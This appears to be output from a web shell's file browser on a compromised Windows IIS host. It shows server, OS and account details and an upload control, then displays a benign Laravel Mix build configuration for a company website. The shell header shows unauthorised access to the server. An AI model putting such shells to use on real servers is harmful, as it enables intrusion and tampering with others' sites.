HEX
Server: Microsoft-IIS/8.5
System: Windows NT YDAWBH120 6.3 build 9600 (Windows Server 2012 R2 Standard Edition) AMD64
User: tentjecom_web (0)
PHP: 7.4.14
Disabled: NONE
Upload Files
File: D:/HostingSpaces/SBogers10/lc-hydraulics.komma.nl/webpack.mix.js
let mix = require('laravel-mix');

let sassDir = 'resources/assets/sass/';
let imgDir = 'resources/img';
let jsDir = 'resources/assets/js/';

//We need to define this because 'mix.copy' and 'mix.script' won't listen to the setPublicPath
let publicDir = 'wwwroot/';

//Sass will use this as public path
mix.setPublicPath(publicDir);
mix.browserSync({
    proxy: 'localhost:8000',
    port: 8001,
    files: [
        'wwwroot/css/**/*',
        'resources/views/**/*',
        'resources/lang/**/*',
        'resources/js/**/*',
    ]
});

mix.options({
    processCssUrls: false,
    postCss: [
        require('autoprefixer')({
            grid: true,
            overrideBrowserslist: [
                '> 2%',
                'ie 11'
            ]
        }),
    ]
});

mix.disableSuccessNotifications();

/*
 |--------------------------------------------------------------------------
 | Mix Asset Management
 |--------------------------------------------------------------------------
 |
 | Mix provides a clean, fluent API for defining some Webpack build steps
 | for your Laravel application. By default, we are compiling the Sass
 | file for the application as well as bundling up all the JS files.
 |
 */

mix.copy(imgDir, publicDir + 'img');


/* Site css and js
   ========================================================================== */

mix.sass(sassDir + 'site/style.sass', 'css/style.css')
    .version();

mix.babel([
        jsDir + 'lib/jquery.3.1.1.min.js',
        jsDir + 'lib/jquery.touchSwipe.min.js',
        jsDir + 'global/polyfills/*.js',
        jsDir + 'global/helpers.js',
    ],
    publicDir + 'js/site/core.js');

mix.babel([
        jsDir + 'site/*.js'
    ],
    publicDir + 'js/site/app.js')
    .version();


/* KMS css and js
  ========================================================================== */

mix.sass(sassDir + 'kms/styles.sass', 'css/kms.css');

//External javascript
mix.scripts([
        //TODO upgrade this to 3.1.1
        jsDir + 'lib/jquery-1.11.2.min.js',
        // jsDir + 'lib/jquery.3.1.1.min.js.js',
        jsDir + 'lib/axios-min.js',
        jsDir + 'lib/jquery-ui-1.12.1/jquery-ui.min.js',
    ],
    publicDir + 'js/kms/jquery-bound.js'
);

//TODO write application without angular
mix.scripts([
        jsDir + 'kms/angular/angular.min.js',
        jsDir + 'kms/angular/angular-sanitize.js',
        jsDir + 'lib/ng-file-upload/ng-file-upload-all.min.js',
        jsDir + 'kms/fileupload.ng.js',
        jsDir + 'kms/kms.dynamic-attribute.ng.js',
    ],
    publicDir + 'js/kms/angular.js'
);

//TODO rewrite these to individual script like below
// mix.scripts([
//         jsDir + 'kms/main.js',
//         jsDir + 'kms/kms.js'
//     ],
//     publicDir + 'js/kms/kms.js'
// );

mix.scripts([
    jsDir + 'shop/cart.js'
],
publicDir + 'js/shop/shop.js'
);

mix.scripts([
        jsDir + 'kms/ui-bootstrap/ui-bootstrap-custom-0.12.1.min.js', //TODO remove this
        // jsDir + 'kms/*.js'
    ],
    publicDir + 'js/kms/ui-bound.js');

mix.copy(jsDir + 'kms/tinymce', publicDir + 'js/kms/tinymce');


mix.babel(jsDir + 'kms/attributes/*.js', publicDir + '/js/kms/attributes.js').sourceMaps();
mix.babel([
    jsDir + 'kms/*.js', //TODO: Files that reside in the kms folder need to be rewritten in a nicer way so that they dont depend on angular and conform to soc
    jsDir + 'kms/entities/*.js',
    jsDir + 'kms/entity/*.js'
], publicDir + '/js/kms/core.js');